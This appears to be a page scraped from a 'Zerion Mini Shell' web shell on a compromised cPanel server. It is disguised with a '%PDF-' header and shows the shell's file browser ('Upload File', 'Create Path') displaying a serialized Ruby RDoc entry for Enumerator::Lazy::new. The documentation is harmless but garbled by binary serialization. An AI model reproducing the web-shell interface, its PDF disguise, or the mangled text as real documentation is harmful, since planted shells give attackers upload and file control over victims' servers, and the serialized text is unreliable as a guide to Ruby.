%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/cpanel/ea-ruby24/root/usr/share/ri/system/Enumerator/Lazy/
Upload File :
Create Path :
Current File : //opt/cpanel/ea-ruby24/root/usr/share/ri/system/Enumerator/Lazy/new-c.ri

U:RDoc::AnyMethod[iI"new:ETI"Enumerator::Lazy::new;TT:publico:RDoc::Markup::Document:@parts[o:RDoc::Markup::Paragraph;	[
I"OCreates a new Lazy enumerator. When the enumerator is actually enumerated ;TI"N(e.g. by calling #force), +obj+ will be enumerated and each value passed ;TI"Jto the given block. The block can yield values back using +yielder+. ;TI"CFor example, to create a method +filter_map+ in both lazy and ;TI"non-lazy fashions:;To:RDoc::Markup::BlankLineo:RDoc::Markup::Verbatim;	[I"module Enumerable
;TI"  def filter_map(&block)
;TI"    map(&block).compact
;TI"  end
;TI"	end
;TI"
;TI"class Enumerator::Lazy
;TI"  def filter_map
;TI".    Lazy.new(self) do |yielder, *values|
;TI""      result = yield *values
;TI"'      yielder << result if result
;TI"
    end
;TI"  end
;TI"	end
;TI"
;TI"G(1..Float::INFINITY).lazy.filter_map{|i| i*i if i.even?}.first(5)
;TI""    # => [4, 16, 36, 64, 100];T:@format0:
@fileI"enumerator.c;T:0@omit_headings_from_table_of_contents_below0I"8Lazy.new(obj, size=nil) { |yielder, *values| ... }
;T0[I"(*args);T@&FI"	Lazy;TcRDoc::NormalClass00

Zerion Mini Shell 1.0